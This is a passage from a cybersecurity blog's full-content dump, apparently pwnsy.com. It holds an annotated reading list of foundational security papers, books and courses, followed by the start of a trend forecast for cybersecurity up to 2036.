# Pwnsy Blog: Full Content
> Complete text of all cybersecurity guides published on blog.pwnsy.com.
> Part of the pwnsy.com cybersecurity platform.
Total posts: 264
Categories: security-fundamentals, bug-bounty, web-security, network-security, privacy, malware, phishing, social-engineering, threat-intel, passwords, incident-response, cryptography, exploitation, ai-security, web3-security, osint, ransomware
---
# The Canon: start here
## The Security Canon
> The security papers, books, and writeups that have stood the test of time.
- URL: https://blog.pwnsy.com/the-security-canon
- Date: 2026-06-30
- Updated: 2026-06-30
- Difficulty: intermediate
- Category: security-fundamentals
- Tags: security-canon, exploitation, cryptography, reading-list, foundational, reference
- Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Block vs Stream Ciphers: Differences, Modes & Use Cases](https://blog.pwnsy.com/block-vs-stream-ciphers), [Buffer Overflow Explained: Overwriting the Return Address](https://blog.pwnsy.com/buffer-overflow-explained)
**The Security Canon is a curated reading list of the papers, books, and writeups that have stood the test of time in security**: the works worth reading before the tools, from foundational design principles through cryptography, exploitation, and the economics of insecurity. If you read only three to begin: Saltzer & Schroeder's design principles (1975), Thompson's *Reflections on Trusting Trust* (1984), and Anderson's *Why Cryptosystems Fail* (1993). *Last reviewed June 2026.*
New here? Pair the canon with [where security is headed over the next decade](/cybersecurity-next-10-years) and [the certifications and courses actually worth your time](/best-cybersecurity-certifications).
*Book titles link to Amazon. As an Amazon Associate we earn from qualifying purchases, at no extra cost to you. Papers, writeups and courses link to the original source. Every work here is chosen on merit, never because it pays.*
## Security Principles & Foundations
- [The Protection of Information in Computer Systems](https://web.mit.edu/Saltzer/www/publications/protection/) · Saltzer & Schroeder, Proc. IEEE (1975) · Defines the eight design principles (least privilege, fail-safe defaults, economy of mechanism, complete mediation, open design) that remain the bedrock of secure system design.
- [Reflections on Trusting Trust](https://www.cs.cmu.edu/~rdriley/487/papers/Thompson_1984_ReflectionsonTrustingTrust.pdf) · Ken Thompson, Turing Award Lecture / CACM (1984) · Demonstrates a self-replicating compiler backdoor invisible in source, proving you cannot fully trust code you did not write yourself, all the way down.
- [Why Cryptosystems Fail](https://www.cl.cam.ac.uk/~rja14/Papers/wcf.pdf) · Ross Anderson, ACM CCS (1993) · Shows real-world security fails not from broken crypto but from implementation, procedure, and economics, founding the empirical study of security failure.
- [The Economics of Information Security](https://www.science.org/doi/10.1126/science.1130992) · Ross Anderson & Tyler Moore, Science (2006) · Reframes insecurity as a problem of misaligned incentives and externalities, launching the field of security economics.
- [Users Are Not the Enemy](https://dl.acm.org/doi/10.1145/322796.322806) · Adams & Sasse, CACM (1999) · The seminal usable-security paper showing that unworkable password policies cause the very insecurity they intend to prevent.
- [Why Johnny Can't Encrypt: A Usability Evaluation of PGP 5.0](https://people.eecs.berkeley.edu/~tygar/papers/Why_Johnny_Cant_Encrypt/USENIX.pdf) · Whitten & Tygar, USENIX Security (1999) · The first formal user study of a secure system, proving that security that ignores usability simply does not get used; USENIX Test of Time winner.
- [Smashing The Stack For Fun And Profit](http://phrack.org/issues/49/14.html) · Aleph One, Phrack 49 (1996) · The article that taught the world stack-based buffer overflow exploitation; the canonical entry point to memory-corruption security.
## Cryptography
- [New Directions in Cryptography](https://ee.stanford.edu/~hellman/publications/24.pdf) · Whitfield Diffie & Martin Hellman, IEEE Trans. Information Theory (1976) · Introduces public-key cryptography and the Diffie-Hellman key exchange, inventing the modern field of asymmetric crypto.
- [A Method for Obtaining Digital Signatures and Public-Key Cryptosystems](https://people.csail.mit.edu/rivest/Rsapaper.pdf) · Rivest, Shamir & Adleman, CACM (1978) · The RSA cryptosystem, the first practical public-key encryption and signature scheme and still ubiquitous.
- [La cryptographie militaire](https://www.petitcolas.net/kerckhoffs/crypto_militaire_1.pdf) · Auguste Kerckhoffs, Journal des sciences militaires (1883) · Origin of Kerckhoffs's principle: a system must be secure even when everything except the key is public knowledge.
- [Communication Theory of Secrecy Systems](https://archive.org/download/bstj28-4-656/bstj28-4-656.pdf) · Claude Shannon, Bell System Technical Journal (1949) · Founds the mathematical theory of cryptography, defining perfect secrecy, confusion, and diffusion.
- [Probabilistic Encryption](https://www.sciencedirect.com/science/article/pii/0022000084900709) · Goldwasser & Micali, J. Computer and System Sciences (1984) · Introduces semantic security and provable security, the rigorous definitions on which all modern cryptography is built.
- [A Future-Adaptable Password Scheme (bcrypt)](https://www.usenix.org/legacy/events/usenix99/provos/provos.pdf) · Niels Provos & David Mazières, USENIX (1999) · Introduces bcrypt, the adaptive cost-factor password hash that set the standard for credential storage.
- [Applied Cryptography](https://www.schneier.com/books/applied-cryptography/) · Bruce Schneier (1996) · The book that put working crypto in the hands of a generation of engineers; the reference that built the field's practitioner base.
- [Handbook of Applied Cryptography](https://cacr.uwaterloo.ca/hac/) · Menezes, van Oorschot & Vanstone, CRC Press (1996, free online) · The standard academic reference for cryptographic algorithms, protocols, and number theory; rigorous, comprehensive, and one of the most-cited works in the field.
- [The Advanced Encryption Standard (Rijndael)](https://www.nist.gov/publications/advanced-encryption-standard-aes) · Daemen & Rijmen / NIST FIPS-197 (2001) · The block cipher that became the world's default symmetric encryption standard.
- [Keying Hash Functions for Message Authentication (HMAC)](https://cseweb.ucsd.edu/~mihir/papers/kmd5.pdf) · Bellare, Canetti & Krawczyk, CRYPTO (1996) · Defines HMAC, the provably secure MAC construction underlying TLS, IPsec, and JWTs.
- [How to Share a Secret](https://dl.acm.org/doi/10.1145/359168.359176) · Adi Shamir, CACM (1979) · Shamir's secret sharing, the threshold scheme foundational to key management and MPC.
## Memory Corruption & Exploitation
- [The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls](https://hovav.net/ucsd/dist/geometry.pdf) · Hovav Shacham, ACM CCS (2007) · Introduces Return-Oriented Programming (ROP), proving W^X and DEP insufficient and defining modern exploitation.
- [Getting around non-executable stack (and fix)](https://seclists.org/bugtraq/1997/Aug/63) · Solar Designer, Bugtraq (1997) · The original return-into-libc attack, the conceptual ancestor of ROP and a classic of defense evasion.
- [w00w00 on Heap Overflows](https://www.cgsecurity.org/exploit/heaptut.txt) · Matt Conover & the w00w00 Security Team (1999) · The foundational text on heap buffer overflows, the article that opened heap exploitation as a discipline and underpins the later malloc-metadata literature.
- [Once upon a free()](http://phrack.org/issues/57/9.html) · anonymous, Phrack 57 (2001) · Seminal exposition of heap exploitation via malloc/free metadata corruption.
- [On the Effectiveness of Address-Space Randomization](https://hovav.net/ucsd/dist/asrandom.pdf) · Shacham et al., ACM CCS (2004) · Demonstrates that 32-bit ASLR is brute-forceable, defining the limits of a core mitigation.
- [Basic Integer Overflows](http://phrack.org/issues/60/10.html) · blexim, Phrack 60 (2002) · The canonical writeup establishing integer overflows as a first-class vulnerability class.
- [Exploiting Format String Vulnerabilities](https://cs155.stanford.edu/papers/formatstring-1.2.pdf) · scut / team teso (2001) · The definitive treatment of format-string bugs, a vulnerability class it largely defined and named.
- [SoK: Eternal War in Memory](https://oakland31.cs.virginia.edu/papers/4977a048.pdf) · Szekeres, Payer, Wei & Song, IEEE S&P (2013) · Systematizes two decades of memory-corruption attacks and defenses into one enduring map of the field.
- [Control-Flow Integrity](https://www.microsoft.com/en-us/research/wp-content/uploads/2005/11/ccs05.pdf) · Abadi, Budiu, Erlingsson & Ligatti, ACM CCS (2005) · Introduces CFI, the principled defense against control-flow hijacking now shipping in mainstream compilers and CPUs.
## Web Application Security
- [OWASP Top 10](https://owasp.org/www-project-top-ten/) · OWASP (2003 to present) · The industry-standard consensus list of the most critical web application risks, referenced in countless standards and contracts.
- [The Web Application Hacker's Handbook](https://portswigger.net/web-security/web-application-hackers-handbook) · Stuttard & Pinto (2nd ed. 2011) · The definitive practitioner manual for finding and exploiting web vulnerabilities, and the spiritual basis of Burp Suite.
- [CERT Advisory CA-2000-02: Malicious HTML Tags Embedded in Client Web Requests](https://resources.sei.cmu.edu/library/asset-view.cfm?assetid=496186) · CERT Coordination Center (2000) · The advisory that first described and named "cross-site scripting," defining the vulnerability class that has shaped web security ever since.
- [NT Web Technology Vulnerabilities (the original SQL injection writeup)](https://phrack.org/issues/54/8) · rain.forest.puppy (Jeff Forristal), Phrack 54 (1998) · The first public demonstration of the technique later named SQL injection, the defining server-side web vulnerability.
- [Robust Defenses for Cross-Site Request Forgery](https://seclab.stanford.edu/websec/csrf/csrf.pdf) · Barth, Jackson & Mitchell, ACM CCS (2008) · The paper that systematized CSRF and the token/Origin-header defenses now standard everywhere.
- [The Dos and Don'ts of Client Authentication on the Web](https://pdos.csail.mit.edu/papers/webauth:sec10.pdf) · Fu, Sit, Smith & Feamster, USENIX Security (2001) · The canonical analysis of web session/cookie authentication; by breaking real sites it established the rules every secure web auth token follows.
- [The Tangled Web: A Guide to Securing Modern Web Applications](https://nostarch.com/tangledweb) · Michał Zalewski (2011) · A rigorous tour of the browser security model's quirks and the same-origin policy by the author of many of its discoveries.
## Operating Systems, Access Control & Trusted Systems
- [Secure Computer System: Unified Exposition and Multics Interpretation (Bell-LaPadula)](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/bell76.pdf) · Bell & LaPadula, MITRE (1976) · The formal multilevel-security model for confidentiality ("no read up, no write down") that defined trusted systems.
- [Integrity Considerations for Secure Computer Systems (Biba)](https://apps.dtic.mil/sti/citations/ADA039324) · Kenneth Biba, MITRE (1977) · The dual of Bell-LaPadula for integrity, foundational to access-control theory.
- [Protection (Lampson's Access Matrix)](https://www.cs.cmu.edu/~rdriley/487/papers/Lampson_1971_Protection.pdf) · Butler Lampson, Princeton (1971) · Introduces the access control matrix, the abstraction behind every ACL and capability system since.
- [A Note on the Confinement Problem](https://bwlampson.site/11-Confinement/Abstract.html) · Butler Lampson, CACM (1973) · Names the confinement problem and covert channels, the enduring frame for information-flow and isolation security.
- [A Hardware Architecture for Implementing Protection Rings](https://dl.acm.org/doi/10.1145/361011.361070) · Michael Schroeder & Jerome Saltzer, CACM (1972) · Defines protection rings, the privilege-separation model still used by every modern CPU and OS.
- [Trusted Computer System Evaluation Criteria (Orange Book)](https://csrc.nist.gov/csrc/media/publications/conference-paper/1998/10/08/proceedings-of-the-21st-nissc-1998/documents/early-cs-papers/dod85.pdf) · U.S. DoD (1985) · The first formal security evaluation criteria; its A1-D ratings shaped decades of high-assurance systems.
- [The Flask Security Architecture (SELinux)](https://www.cs.cmu.edu/~dga/papers/flask-usenixsec99.pdf) · Spencer, Smalley, Loscocco et al., USENIX Security (1999) · The flexible mandatory-access-control architecture that became SELinux and mainstream OS sandboxing.
- [setuid Demystified](https://people.eecs.berkeley.edu/~daw/papers/setuid-usenix02.pdf) · Chen, Wagner & Dean, USENIX Security (2002) · The definitive analysis of Unix privilege management's confusing and dangerous corners.
## Landmark Attacks, Malware & Worms
- [With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988](https://www.cs.unc.edu/~jeffay/courses/nidsS05/attacks/seely-RTMworm-89.html) · Eichin & Rochlis, IEEE S&P (1989) · The forensic dissection of the Morris Worm, the first internet-scale attack and the event that birthed CERT.
- [W32.Stuxnet Dossier](https://docs.broadcom.com/doc/security-response-w32-stuxnet-dossier-11-en) · Falliere, Murchu & Chien, Symantec (2011) · The exhaustive reverse-engineering of Stuxnet, the first malware to physically damage industrial infrastructure.
- [To Kill a Centrifuge](https://www.langner.com/wp-content/uploads/2017/03/to-kill-a-centrifuge.pdf) · Ralph Langner (2013) · The analysis that decoded Stuxnet's payload and its sabotage of Iranian nuclear centrifuges, defining cyber-physical warfare.
- [Conficker Working Group: Lessons Learned](https://www.confickerworkinggroup.org/wiki/uploads/Conficker_Working_Group_Lessons_Learned_17_June_2010_final.pdf) · Conficker Working Group (2010) · The retrospective on coordinated takedown of one of history's largest botnets, a template for collective defense.
- [How to 0wn the Internet in Your Spare Time](https://www.usenix.org/conference/11th-usenix-security-symposium/how-own-internet-your-spare-time) · Staniford, Paxson & Weaver, USENIX Security (2002) · The foundational model of worm propagation, introducing hit-list, permutation, and flash worms and framing internet-scale malware for a generation.
- [An Inquiry into the Nature and Causes of the Wealth of Internet Miscreants](https://cseweb.ucsd.edu/~savage/papers/CCS07.pdf) · Franklin, Paxson, Perrig & Savage, ACM CCS (2007) · The landmark measurement of the underground economy that reframed cybercrime as a market.
## Hardware, Microarchitecture & Side-Channel Attacks
- [Spectre Attacks: Exploiting Speculative Execution](https://spectreattack.com/spectre.pdf) · Kocher, Horn, Genkin et al., IEEE S&P (2019) · Reveals that speculative execution leaks secrets across security boundaries, breaking a foundational CPU assumption.
- [Meltdown: Reading Kernel Memory from User Space](https://meltdownattack.com/meltdown.pdf) · Lipp, Schwarz, Gruss et al., USENIX Security (2018) · Shows out-of-order execution lets userspace read all of kernel memory, forcing a global OS redesign (KPTI).
- [Timing Attacks on Implementations of Diffie-Hellman, RSA, DSS, and Other Systems](https://paulkocher.com/doc/TimingAttacks.pdf) · Paul Kocher, CRYPTO (1996) · Founds the field of side-channel cryptanalysis by extracting keys from execution time alone.
- [Differential Power Analysis](https://paulkocher.com/doc/DifferentialPowerAnalysis.pdf) · Kocher, Jaffe & Jun, CRYPTO (1999) · Extracts secret keys from a device's power consumption, defining the side-channel threat for all embedded crypto.
- [Flush+Reload: a High Resolution, Low Noise, L3 Cache Side-Channel Attack](https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-yarom.pdf) · Yarom & Falkner, USENIX Security (2014) · The cache-timing technique that became the standard primitive for cross-VM and cross-process key recovery.
- [Flipping Bits in Memory Without Accessing Them (Rowhammer)](https://users.ece.cmu.edu/~yoonguk/papers/kim-isca14.pdf) · Kim et al., ISCA (2014) · Discovers that repeated DRAM access flips bits in adjacent rows, turning a reliability flaw into a privilege-escalation weapon.
## Network & Protocol Security
- [Security Problems in the TCP/IP Protocol Suite](http://www.cs.columbia.edu/~smb/papers/ipext.pdf) · Steven M. Bellovin, ACM CCR (1989) · The paper that catalogued the design-level insecurities of TCP/IP · spoofing, sequence prediction, and more · decades before they were widely exploited.
- [A Weakness in the 4.2BSD Unix TCP/IP Software](https://www.cs.umd.edu/class/spring2003/cmsc434-0101/MUIseum/applications/morris-weakness.pdf) · Robert T. Morris, AT&T Bell Labs (1985) · The foundational description of TCP sequence-number prediction and connection spoofing.
- [The Transport Layer Security (TLS) Protocol Version 1.3](https://datatracker.ietf.org/doc/html/rfc8446) · E. Rescorla, RFC 8446 (2018) · The modern TLS spec that secures the bulk of internet traffic, the product of decades of protocol-security lessons.
- [Tor: The Second-Generation Onion Router](https://www.usenix.org/conference/13th-usenix-security-symposium/tor-second-generation-onion-router) · Dingledine, Mathewson & Syverson, USENIX Security (2004) · The design paper for Tor, the defining system for anonymous communication and a touchstone of privacy engineering.
- [Your Botnet is My Botnet: Analysis of a Botnet Takeover (Torpig)](https://sites.cs.ucsb.edu/~chris/research/doc/ccs09_botnet.pdf) · Stone-Gross et al., ACM CCS (2009) · A landmark empirical hijack of a live botnet that illuminated command-and-control and credential theft at scale.
## Practitioner Books & Reference Canon
- [Security Engineering: A Guide to Building Dependable Distributed Systems](https://www.amazon.com/dp/1119642787?tag=endtimsce-20) · Ross Anderson (3rd ed. 2020, freely online) · The single most comprehensive treatment of security as an engineering discipline; the field's standard reference text.
- [The Art of Software Security Assessment](https://www.amazon.com/dp/0321444426?tag=endtimsce-20) · Dowd, McDonald & Schuh (2006) · The definitive 1,200-page manual on auditing C/C++ code for vulnerabilities, still the gold standard for code review.
- [Hacking: The Art of Exploitation](https://www.amazon.com/dp/1593271441?tag=endtimsce-20) · Jon Erickson (2nd ed. 2008) · The book that taught countless beginners exploitation from first principles, with a hands-on Linux environment.
- [Computer Security: Art and Science](https://www.amazon.com/dp/0201440997?tag=endtimsce-20) · Matt Bishop (2002) · The rigorous academic textbook unifying security models, policy, and assurance for a generation of students.
- [Secrets and Lies: Digital Security in a Networked World](https://www.amazon.com/dp/0471253111?tag=endtimsce-20) · Bruce Schneier (2000) · The book where Schneier reframed security as risk management and process rather than a product, shaping industry thinking.
- [The Art of Deception: Controlling the Human Element of Security](https://www.amazon.com/dp/076454280X?tag=endtimsce-20) · Kevin Mitnick & William Simon (2002) · The defining popular work on social engineering, establishing the human as the weakest link.
- [The Shellcoder's Handbook](https://www.amazon.com/dp/047008023X?tag=endtimsce-20) · Anley, Heasman, Lindner & Richarte (2nd ed. 2007) · The canonical deep dive on discovering and writing exploits across platforms.
- [Reversing: Secrets of Reverse Engineering](https://www.amazon.com/dp/0764574817?tag=endtimsce-20) · Eldad Eilam (2005) · The foundational text on reverse-engineering software that trained a generation of malware analysts.
- [The Art of Memory Forensics](https://www.amazon.com/dp/1118825098?tag=endtimsce-20) · Ligh, Case, Levy & Walters (2014) · The definitive text on memory forensics and incident response, the standard reference for analyzing RAM to detect stealth malware.
## Landmark Vulnerabilities & Writeups
- [The Matter of Heartbleed](https://jhalderm.com/pub/papers/heartbleed-imc14.pdf) · Durumeric, Kasten, Adrian, Halderman et al., ACM IMC (2014) · The rigorous Internet-wide measurement of the OpenSSL Heartbleed flaw (CVE-2014-0160) · its exposure, exploitation surface, and global patching response · the definitive empirical study of a critical vulnerability's impact.
- [Shellshock · CVE-2014-6271](https://nvd.nist.gov/vuln/detail/CVE-2014-6271) · Stéphane Chazelas / Chet Ramey (2014) · The 25-year-old Bash environment-variable bug that exposed how deep and old critical flaws can run in core infrastructure.
- [Data Protection: Actions Taken by Equifax and Federal Agencies in Response to the 2017 Breach](https://www.gao.gov/assets/gao-18-559.pdf) · U.S. GAO (GAO-18-559, 2018) · The authoritative post-mortem of the Apache Struts (CVE-2017-5638) breach, the textbook case study in patch-management failure.
- [Log4Shell: RCE in Apache Log4j (CVE-2021-44228)](https://www.lunasec.io/docs/blog/log4j-zero-day/) · LunaSec / community (2021) · The JNDI-injection flaw in a ubiquitous logging library that became the defining software-supply-chain wake-up call.
- [The Cuckoo's Egg](https://www.amazon.com/dp/1416507787?tag=endtimsce-20) · Clifford Stoll (1989) · The true-story account of tracking a hacker through a 75-cent accounting error; the original network-intrusion-detection narrative.
## Detection, Defense & Process
- [An Intrusion-Detection Model](https://www.cs.colostate.edu/~cs656/reading/ieee-se-13-2.pdf) · Dorothy Denning, IEEE TSE (1987) · The paper that founded intrusion detection as a discipline, introducing anomaly-based monitoring.
- [A Sense of Self for Unix Processes](https://www.cs.unm.edu/~forrest/publications/ieee-sp-96-unix.pdf) · Forrest, Hofmeyr, Somayaji & Longstaff, IEEE S&P (1996) · Defines host-based anomaly detection via system-call profiles, the conceptual root of behavioral EDR.
- [Bro: A System for Detecting Network Intruders in Real-Time](https://www.icir.org/vern/papers/bro-CN99.pdf) · Vern Paxson, USENIX Security (1998) · The architecture behind Bro/Zeek, the network-security monitor that shaped modern traffic analysis.
- [The Base-Rate Fallacy and its Implications for the Difficulty of Intrusion Detection](https://www.cerias.purdue.edu/apps/reports_and_papers/view/2815) · Stefan Axelsson, ACM CCS (1999) · Proves the false-alarm rate is the fundamental limit on intrusion detection, the enduring explanation for why IDS is hard.
- [Practical Malware Analysis](https://nostarch.com/malware) · Sikorski & Honig (2012) · The hands-on book that became the standard curriculum for dissecting hostile software.
- [The Cyber Kill Chain](https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf) · Hutchins, Cloppert & Amin, Lockheed Martin (2011) · Introduces the intrusion kill chain, the framework that reoriented defense around adversary phases and intelligence.
- [MITRE ATT&CK](https://attack.mitre.org/) · MITRE (2015 to present) · The community knowledge base of adversary tactics and techniques that became the lingua franca of detection engineering and red teaming.
## Courses, Talks & Reference Media
- [Cryptography I](https://www.coursera.org/learn/crypto) · Dan Boneh / Stanford (Coursera, n.d.) · The free university course that taught applied cryptography to 650,000+ students, the default recommendation for engineers who want to reason about crypto rather than memorize APIs.
- [6.858 Computer Systems Security](https://ocw.mit.edu/courses/6-858-computer-systems-security-fall-2014/) · Nickolai Zeldovich, MIT OpenCourseWare (2014) · Full lecture videos, notes, and labs for MIT's graduate systems-security course, the most widely shared self-study syllabus for OS, web, and hardware security.
- [pwn.college](https://pwn.college/) · Yan Shoshitaishvili & Connor Nelson, Arizona State University (2020) · The open "cybersecurity dojo" of 1,000+ hands-on challenges that became the de facto global curriculum for learning binary exploitation and reverse engineering.
- [Binary Exploitation / Memory Corruption](https://www.youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN) · LiveOverflow (n.d.) · The YouTube series that introduced a generation to practical memory-corruption exploitation, the most-linked video starting point for self-taught pwners.
- [The Cryptopals Crypto Challenges](https://cryptopals.com/) · Matasano / NCC Group (n.d.) · Eight progressively harder sets of real-world crypto-breaking exercises; the canonical way practitioners learn why textbook crypto fails in practice.
- [SSL and the Future of Authenticity](https://www.youtube.com/watch?v=Z7Wl2FW2TcA) · Moxie Marlinspike, Black Hat USA (2011) · The landmark talk that dismantled the certificate-authority trust model and named "trust agility," still cited in every debate about PKI and HTTPS authenticity.
- [NIST Cybersecurity Framework (CSF)](https://www.nist.gov/cyberframework) · NIST (2014 to present) · The Identify-Protect-Detect-Respond-Recover (and now Govern) taxonomy that became the common language for organizing and communicating cybersecurity programs worldwide.
- [Common Weakness Enumeration (CWE)](https://cwe.mitre.org/) · MITRE (2006 to present) · The standard catalog of software and hardware weakness types, with the annual Top 25, that underpins how vulnerability root causes are classified and discussed.
- [CVSS Specification](https://www.first.org/cvss/) · FIRST (2005 to present) · The Common Vulnerability Scoring System spec, the universal 0-10 severity standard every advisory, scanner, and patch-priority decision now references.
- [National Vulnerability Database (NVD)](https://nvd.nist.gov/) · NIST (2005 to present) · The U.S. government repository of CVE records enriched with CVSS scores and CPE data, the canonical dataset behind nearly all vulnerability-management tooling and research.
- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) · OWASP (2014 to present) · The flagship collection of concise, authoritative defensive guidance on specific appsec topics, the most-linked practical reference for secure-coding decisions.
- [The Six Dumbest Ideas in Computer Security](https://www.ranum.com/security/computer_security/editorials/dumb/) · Marcus Ranum (2005) · The essay that skewered "default permit," "enumerating badness," and "penetrate and patch," still quoted whenever practitioners argue first principles over security theater.
- [Cryptographic Right Answers](https://www.latacora.com/blog/cryptographic-right-answers/) · Latacora / Colin Percival & Thomas Ptacek (2018) · The continually updated "just tell me what to use" guide whose lineage (2009 → 2015 → 2018) is the reflexive link engineers share to steer people away from crypto footguns.
- [Why Cryptography Is Harder Than It Looks](https://www.schneier.com/essays/archives/1997/01/why_cryptography_is.html) · Bruce Schneier (1997) · The short essay that crystallized the truth that real systems fail at implementation and process, not algorithms, and seeded a generation's security worldview.
- [Nmap Network Scanning](https://nmap.org/book/) · Gordon "Fyodor" Lyon (2009, free online) · The official guide to the Nmap scanner, the foundational open-source network-discovery tool and the standard reference for port scanning and host enumeration.
- [Uncover Security Design Flaws Using the STRIDE Approach](https://learn.microsoft.com/en-us/archive/msdn-magazine/2006/november/uncover-security-design-flaws-using-the-stride-approach) · Hernan, Lambert, Ostwald & Shostack, Microsoft (2006) · The article that popularized STRIDE threat modeling, the most widely taught framework for systematically reasoning about design-level threats.
## What is the security canon?
The security canon is a curated reading list of the papers, books, and writeups that have most shaped information security and still repay study today. Each entry earned its place by defining a problem, introducing a foundational technique, or changing how the field thinks: not by being recent. It is organized by topic (foundations, cryptography, exploitation, web, operating systems, hardware, detection, and more) so you can go deep in one area or sample broadly.
## What are the most important works to read first?
If you read only a handful, start with the field-defining classics: Saltzer & Schroeder's "The Protection of Information in Computer Systems" for design principles, Thompson's "Reflections on Trusting Trust" for the limits of trust, Aleph One's "Smashing the Stack for Fun and Profit" for memory corruption, and Ross Anderson's "Security Engineering" as the single best book-length overview. Together they cover the principles, the canonical attack, and an engineer's worldview.
## Where should a beginner start?
Beginners should pair one accessible book with one hands-on resource. Read "Hacking: The Art of Exploitation" or "Security Engineering," then work through a practical track such as pwn.college, the Cryptopals challenges, or MIT's free 6.858 course. Build intuition by doing (exploit a toy binary, break textbook crypto, and analyze a real malware sample) rather than only reading. The body of this list groups entries by topic so you can follow whichever thread interests you most.
## How is this canon maintained?
This is an evergreen, periodically reviewed list rather than a news feed. Works are added when they have clearly stood the test of time and demonstrably influenced practice; nothing is included merely because it is new. The list is re-checked on a recurring basis to fix dead links, refresh editions, and add genuinely foundational material, and it is dated at the top so you can see when it was last verified.
## Related guides
- [OWASP Top 10 Explained](/owasp-top-10-explained)
- [SQL Injection Explained](/sql-injection-explained)
- [Network Security Fundamentals](/network-security-fundamentals)
- [Incident Response 101](/incident-response-101)
- [Encryption Explained](/encryption-explained)
---
# Category: security-fundamentals
## The Next 10 Years of Cybersecurity: A Forecast to 2036
> A hype-resistant forecast of cybersecurity to 2036: AI on both sides, the death of passwords, post-quantum migration, deepfakes, and the human factor.
- URL: https://blog.pwnsy.com/cybersecurity-next-10-years
- Date: 2026-06-29
- Updated: 2026-06-30
- Difficulty: beginner
- Category: security-fundamentals
- Tags: predictions, ai-security, passkeys, post-quantum, deepfakes, ransomware, zero-trust
- Related: [The Security Canon](https://blog.pwnsy.com/the-security-canon), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [The 3-2-1 Backup Strategy: Ransomware-Resistant Backups](https://blog.pwnsy.com/3-2-1-backup-strategy-guide)
### TL;DR
- AI arms both sides. Attackers get cheap, scalable, personalized attacks, and defenders get faster detection and triage. The advantage tilts to whoever automates better, and early on that is often the attacker.
- Passwords die slowly. Passkeys and phishing-resistant auth become the default, and the password becomes the legacy fallback you are embarrassed to still use.
- The post-quantum migration becomes real work. Harvest now, decrypt later makes it urgent before quantum computers can break today's encryption.
- Deepfakes move identity fraud from email to voice and video, so the attack arrives as your CEO's face on a video call.
- The human stays the weakest link. No amount of AI defense fixes a person who can be tricked, and attackers know it.
Cybersecurity forecasts tend to swing between two errors: breathless "AI changes everything" hype and jaded "nothing ever really changes" cynicism. The truth sits in between. The *fundamentals* (phishing, patching, identity, the human) barely move, while the *tooling and scale* on both sides change enormously. This forecast separates the two.
The method: extrapolate the trends that have held (automation of both attack and defense, the slow death of passwords, regulation tightening), name the bottlenecks, and mark bets versus guesses.
## Key predictions
- **AI arms both sides.** Attackers get cheap, scalable, fluent, personalized social engineering and faster vulnerability discovery. Defenders get faster detection, triage, and response. The edge goes to whoever automates better, and in the near term that is often the attacker, because offense is easier to automate than defense.
- **Passwords die slowly.** Passkeys and phishing-resistant authentication become the default for anything that matters. The password becomes the legacy fallback rather than the front door.
- **The post-quantum migration becomes real, urgent work.** "Harvest now, decrypt later" means encrypted data stolen today can be broken when quantum computers mature, so the migration to post-quantum cryptography starts well before the threat is live.
- **Deepfakes break identity verification.** Voice and video impersonation move fraud beyond email. "I saw and heard them say it" stops being proof.
- **Ransomware professionalizes further.** It grows less spray-and-pray and more targeted, data-extortion-driven, and increasingly aimed at supply chains and managed-service providers for leverage.
- **Privacy regulation tightens globally**, and compliance becomes a baseline cost of doing business rather than an afterthought.
- **The human stays the weakest link**, and the most cost-effective thing you can still do is the boring basics.
## Predictions at a glance
| Prediction | Timeframe | Confidence | Why it's likely |
| --- | --- | --- | --- |
| AI arms both attackers and defenders | 2026-2028 | High | Offense is easier to automate than defense, so cheap, fluent phishing and voice clones scale first while defenders catch up on triage |
| Passkeys become default; passwords die slowly | 2026-2028 | High | Phishing-resistant auth is already shipping in banks, email, and major platforms; the password becomes the legacy fallback rather than the front door |
| Post-quantum migration becomes urgent work | 2028-2032 | Medium | Standards exist, but rolling them across protocols and certificates is years of engineering, and harvest now, decrypt later forces it to start before the threat is live |
| Deepfake identity fraud goes mainstream | 2028-2032 | Medium | Voice and video impersonation turns business-email-compromise into the "CEO on a video call" attack; "I saw and heard them say it" stops being proof |
| Ransomware professionalizes further | 2026-2028 | High | Crews keep moving from spray-and-pray to targeted, data-extortion-driven attacks aimed at supply chains and managed-service providers for leverage |
| Privacy regulation tightens globally | 2032-2036 | Medium | Brokers and breaches keep feeding targeted attacks, pushing data minimization and removal from niche to baseline cost of doing business |
| The human stays the weakest link | 2032-2036 | High | The same failures (reused passwords, tricked users, unpatched systems) cause most breaches decade after decade, and new tech changes the scale rather than the mechanism |
## How to read a security forecast
Two rules. **First, separate capability from incentive.** Attackers do what is *cheap and profitable* rather than what is most sophisticated, so the threats that scale are the ones that pay. **Second, the fundamentals are durable.** The same failures (unpatched systems, reused passwords, tricked humans, exposed secrets) cause most breaches decade after decade. New tech changes the *scale and polish* of attacks far more than the underlying mechanism.
## The near term: 2026-2028
**AI-powered attacks scale (high confidence).** The first wave is *mundane attacks made cheap and flawless* rather than sci-fi autonomous hacking. Phishing with no grammar tells, personalized to you from scraped data, voice clones of your boss, and convincing fake support sites at scale (see [AI phishing attacks](/ai-phishing-attacks) and [AI voice cloning scams](/ai-voice-cloning-scams)). The defense is unglamorous and effective: phishing-resistant auth and verification habits that go beyond spotting the typo.
**Passkeys cross over (high confidence).** Phishing-resistant authentication becomes the default for banks, email, and major platforms. If you are still relying on passwords alone, this is the decade you stop. A [password manager](/best-password-managers) plus passkeys and [hardware security keys](/best-hardware-security-keys) becomes the normal setup rather than the paranoid one.
**Defenders automate triage (high confidence).** AI does the first pass on alerts, log analysis, and incident triage, handling the volume that drowns analysts rather than replacing them. The teams that adopt this well pull ahead, and the ones that do not stay buried in alerts.
## The mid term: 2028-2032
**The post-quantum migration turns from paper into a project (medium-high confidence).** Standards exist; the work is rolling them out across protocols, certificates, and systems before quantum computers can break today's public-key crypto. "Harvest now, decrypt later" makes long-lived secrets the priority. This is years of unglamorous engineering, and it starts in earnest this window.
